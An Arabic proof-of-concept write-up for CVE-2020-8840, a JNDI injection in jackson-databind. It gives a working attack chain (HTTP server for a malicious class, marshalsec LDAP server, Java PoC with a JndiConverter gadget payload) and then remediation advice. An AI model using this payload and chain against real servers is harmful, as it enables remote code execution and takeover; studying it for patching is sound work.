
استغلال إثبات المفهوم لـ CVE-2020-8840: حقن JNDI يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في FasterXML jackson-databind. يتضمن إعداد البيئة، وسلسلة الاستغلال، وإرشادات المعالجة.
jackson-databind هي مكتبة معالجة JSON تابعة لمشروع FasterXML.
في 19 فبراير، أصدر NVD إعلانًا أمنيًا كشف عن ثغرة تنفيذ تعليمات برمجية عن بُعد في jackson-databind ناتجة عن حقن JNDI (CVE-2020-8840)، بتقييم CVSS 9.8. في الإصدارات المتأثرة من jackson-databind، بسبب نقص بعض فئات القائمة السوداء لـ xbean-reflect/JNDI، مثل org.apache.xbean.propertyeditor.JndiConverter، يمكن أن تسمح للمهاجم باستخدام حقن JNDI لتحقيق تنفيذ تعليمات برمجية عن بُعد. إذا نجح الهجوم، يمكن الحصول على صلاحيات التحكم في الخادم (على مستوى خدمة الويب).
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

1、ضع الفئات الخبيثة المترجمة مسبقًا في دليل خادم الويب
هنا نستخدم simplehttp لإنشاء خدمة ويب
python -m SimpleHTTPServer 8080

2、ابدأ خدمة ldap هنا نستخدم marshalsec. رابط GitHub: https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

3、أنشئ مشروع Java واستورد حزمة الجرة الخاصة بالإصدار المصاب بالثغرة

poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

1、قم بترقية jackson-databind إلى الإصدارات 2.9.10.3 أو 2.8.11.5 أو 2.10.x 2、تحقق مما إذا كان المشروع يستخدم xbean-reflect. السبب الجذري لهذه الثغرة هو وجود سلسلة استغلال خاصة في xbean-reflect تسمح للمستخدم بتشغيل عملية تحميل الفئات عن بُعد JNDI. يمكن تخفيف تأثير الثغرة عن طريق إزالة xbean-reflect.